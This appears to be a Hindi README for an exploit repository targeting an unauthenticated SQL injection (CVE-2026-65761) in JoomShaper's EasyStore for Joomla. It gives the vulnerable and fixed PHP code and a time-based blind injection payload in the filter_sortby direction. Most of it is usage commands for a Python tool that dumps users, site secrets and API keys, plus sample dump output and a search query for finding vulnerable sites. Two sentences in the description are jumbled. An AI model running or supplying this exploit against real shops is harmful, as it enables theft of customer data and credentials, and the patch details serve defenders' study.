
EasyStore Joomla प्री-ऑथ SQL इंजेक्शन filter_sortby दिशा के माध्यम से (CVE-2026-65761, CVSS 9.3)
CVE-2026-65761 (CVSS 9.3 गंभीर) JoomShaper द्वारा Joomla के लिए EasyStore में एक अप्रमाणित SQL इंजेक्शन है, जो संस्करणों ≤ 2.0.1 को प्रभावित करता है।
filter_sortby उत्पाद सूची पैरामीटर को एक कॉलम और दिशा में विभाजित किया जाता है। जबकि कॉलम को अनुमति-सूची के विरुद्ध मान्य किया जाता है, — जिससे एक अज्ञात आगंतुक द्वारा मनमाना SQL इंजेक्शन संभव हो जाता है।
ORDER BY खंड में जोड़ दिया जाता हैएक अप्रमाणित हमलावर पूरे Joomla डेटाबेस को पढ़ सकता है: उपयोगकर्ता खाते, पासवर्ड हैश, सत्र डेटा, साइट रहस्य, API कुंजियाँ, और सभी ग्राहक PII (नाम, ईमेल, पते, फ़ोन नंबर, खरीदारी इतिहास)।
| CVE | CVE-2026-65761 |
| CVSS | 9.3 गंभीर |
| प्रभावित | EasyStore ≤ 2.0.1 |
| ठीक किया गया | EasyStore 2.0.2 |
| प्रकार | SQL इंजेक्शन (CWE-89) |
| प्रमाणीकरण | कोई आवश्यक नहीं |
| खोजकर्ता | Phil Taylor (mySites.guru) — जुलाई 2026 |
FilterHelper.php:741 बिना किसी ASC/DESC अनुमति-सूची जांच के सॉर्ट दिशा लौटाता है:
// Vulnerable (EasyStore 2.0.1)
// FilterHelper.php:741
return [$orderArray[0], strtoupper($orderArray[1])];
// ^^^^^^^^^ No validation — raw value after uppercase
ProductsModel.php:932 दिशा को सीधे SQL में जोड़ता है:
// ProductsModel.php:932
$query->order($column . ' ' . $direction);
// ^^^^^^^^^ Raw SQL concatenation
सहयोगी ब्रांड और संग्रह सूचियों में उचित दिशा अनुमति-सूचियाँ थीं। उत्पाद सूची में नहीं थी।
// Fixed — FilterHelper.php:741-742
$direction = strtoupper($orderArray[1]);
return [$orderArray[0], in_array($direction, ['ASC', 'DESC']) ? $direction : 'ASC'];
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Allow-list check
// Fixed — ProductsModel.php:918-920 (second validation added)
if (!in_array(strtoupper($direction), ['ASC', 'DESC'])) {
$direction = 'DESC';
}
1. हमलावर तैयार करता है: filter_sortby=price-ASC,(SELECT SLEEP(5))
└─ विभाजित: column=price, direction=ASC,(SELECT SLEEP(5))
2. कॉलम "price" अनुमति-सूची जांच पास करता है ✅
└─ ['ordering','featured','best_selling','title','price','created']
3. दिशा "ASC,(SELECT SLEEP(5))" strtoupper() पास करती है
└─ कमजोर संस्करण में कोई ASC/DESC मान्यीकरण नहीं
4. SQL निर्मित:
ORDER BY min_price ASC,(SELECT SLEEP(5))
└─ समय-आधारित पुष्टि: 5 सेकंड विलंब
5. हमलावर ब्लाइंड SQLi के माध्यम से पूरे डेटाबेस को निकालता है
| आवश्यकता | विवरण |
|---|---|
| EasyStore ≤ 2.0.1 | कमजोर संस्करण स्थापित |
| उत्पाद सूची सुलभ | index.php?option=com_easystore&view=products |
| कोई प्रमाणीकरण नहीं | अज्ञात रूप से काम करता है |
| MySQL/MariaDB | SLEEP() के माध्यम से समय-आधारित निष्कर्षण |
git clone https://github.com/shinthink/CVE-2026-65761.git
cd CVE-2026-65761
# No dependencies required — Python stdlib only
# Check vulnerability (non-destructive)
python3 cve_2026_65761.py --url https://target.com --check
# Dump Joomla users (usernames, emails, names)
python3 cve_2026_65761.py --url https://target.com --dump-users
# Full dump (users + site secret + EasyStore config + API keys)
python3 cve_2026_65761.py --url https://target.com --dump-joomla
+=================================================================+
| CVE-2026-65761 — EasyStore Joomla Pre-Auth SQLi Exploit |
+=================================================================+
Target : https://shop.target.com
Plugin : EasyStore ≤ 2.0.1 | Payload: filter_sortby=col-ASC,INJECTION
[STEP 1] Verifying SQL injection (time-based)
[*] SLEEP(5) delay: 5.2s
[+] SQLi confirmed (5.2s)
[STEP 2] Database fingerprint
[Version] 10.11.14-MariaDB
[Database] joomla_db
[User] joomla_user@localhost
[Prefix] jos_
[+] Version : 10.11.14-MariaDB
[+] Database: joomla_db
[+] User : joomla_user@localhost
[+] Prefix : jos_
[STEP 3] Dumping users
[+] Users: 15
USERNAME EMAIL NAME
───────────────────── ─────────────────────────────── ──────────
admin [email protected] Super User
manager [email protected] Store Manager
[STEP 4] Dumping sensitive configuration
[Secret] abc123def456...
[EasyStore] {"paypal_email":"[email protected]"...
[+] Secret: abc123def456...
[+] EasyStore: {"paypal_email":"[email protected]"...
[+] paypal_email: [email protected]
Requests: 1847
| फ़ाइल | पंक्ति | समस्या |
|---|---|---|
site/src/Helper/FilterHelper.php | 741 | अनुमति-सूची के बिना दिशा लौटाता है — केवल strtoupper() |
site/src/Model/ProductsModel.php | 932 | $direction को सीधे ORDER BY खंड में जोड़ता है |
filter_sortby = <column>-<direction>
मान्य कॉलम (अनुमति-सूची पास):
ordering, featured, best_selling, title, price, created
दिशा (कोई मान्यीकरण नहीं):
strtoupper() के बाद सीधे इंजेक्ट किया गया
→ ASC,(SELECT SLEEP(5))
→ ASC,(SELECT IF((condition),SLEEP(2),0))
| CVE | प्रकार | CVSS |
|---|---|---|
| CVE-2026-65759 | ऑर्डर जालसाजी / भुगतान हेरफेर | 8.7 |
| CVE-2026-65760 | चालान IDOR (क्रॉस-ग्राहक डेटा एक्सपोज़र) | 9.2 |
| CVE-2026-65761 | SQL इंजेक्शन (यह शोषण) | 9.3 |
body="com_easystore" && body="filter_sortby"
केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक अनुसंधान के लिए। लेखक दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेते हैं।